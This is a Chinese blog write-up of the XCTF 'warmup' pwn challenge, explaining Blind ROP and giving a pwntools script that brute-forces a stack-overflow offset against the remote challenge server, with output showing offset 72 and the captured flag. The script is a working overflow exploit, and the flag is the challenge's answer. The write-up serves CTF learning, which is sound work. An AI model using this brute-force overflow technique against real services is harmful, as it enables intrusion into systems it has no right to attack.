攻防世界高手进阶区 ——warmup

原创

coke_pwn 于 2022-03-13 18:43:13 发布 86 收藏
分类专栏： XCTF 文章标签： 安全 pwn linux unix

攻防世界高手进阶区 ——warmup

题目并没有给附件，看样子像是一个盲打题。就是BROP

BROP原理

BROP(Blind ROP) 于 2014 年由 Standford 的 Andrea Bittau 提出，其相关研究成果发表在 Oakland 2014，其论文题目是 **Hacking Blind**。

BROP 是没有对应应用程序的源代码或者二进制文件下，对程序进行攻击，劫持程序的执行流。

攻击条件

1. 源程序必须存在栈溢出漏洞，以便于攻击者可以控制程序流程。
2. 服务器端的进程在崩溃之后会重新启动，并且重新启动的进程的地址与先前的地址一样（这也就是说即使程序有 ASLR 保护，但是其只是在程序最初启动的时候有效果）。目前 nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的。

攻击原理

目前，大部分应用都会开启 ASLR、NX、Canary 保护。这里我们分别讲解在 BROP 中如何绕过这些保护，以及如何进行攻击。

基本思路

在 BROP 中，基本的遵循的思路如下

- 判断栈溢出长度
  - 暴力枚举
- Stack Reading
  - 获取栈上的数据来泄露 canaries，以及 ebp 和返回地址。
- Blind ROP
  - 找到足够多的 gadgets 来控制输出函数的参数，并且对其进行调用，比如说常见的 write 函数以及 puts 函数。
- Build the exploit
  - 利用输出函数来 dump 出程序以便于来找到更多的 gadgets，从而可以写出最后的 exploit。

栈溢出长度

直接从 1 暴力枚举即可，直到发现程序崩溃。

解题思路

由于之前看过对于BROP的相关知识，对于这个题还是有点熟悉，主要是这个题给第一次用到了暴力破解，我找到了WEB的那种有趣的感觉，哈哈哈。pwn每天都是看底层看底，我太难了。

```
coke@ubuntu:~/桌面$ nc 111.200.241.244 52726
-Warm Up-
WOW:0x40060d
>
```

这里给了一个地址，还给了输入。第一时间反应是栈溢出漏洞，于是我按照ctfwiki的方法先找栈溢出的偏移地址，发现居然没有报错返回。后来看了其他大佬的wp，才知道这里要用暴力破解来解题，这个题貌似很多防护都没开。

管他的，这题非常简单，我直接将wp给列出来，估计你们一会就看懂了。

```
from pwn import *
ret_addr = 0x40060d

def fuzz(p, n, flag):
 payload = 'a' * n
 if flag==1:
     payload += p32(ret_addr)
 if flag==2:
     payload += p64(ret_addr)
 p.recvuntil(">")
 p.sendline(payload)

def main():
 for i in range(1000):
     print(i)
     for j in range(1, 3):
  try:
      p = remote('111.200.241.244',52726)
      fuzz(p, i, j)
      print p.recv()
      p.interactive()
  except:
      p.close()
main()
```

```
72
1
[+] Opening connection to 111.200.241.244 on port 52726: Done
[*] Closed connection to 111.200.241.244 port 52726
2
[+] Opening connection to 111.200.241.244 on port 52726: Done
cyberpeace{4c1670419e299eabc4615086aa01c481}

[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
```

根据暴力破解出来的结果，栈溢出漏洞的偏移为72，是64位的程序。addr是cat flag。

这题还是比较简单，相对于其他的ROP题，这题不要太简单，但这也为我们之后做BROP的题打下了基础。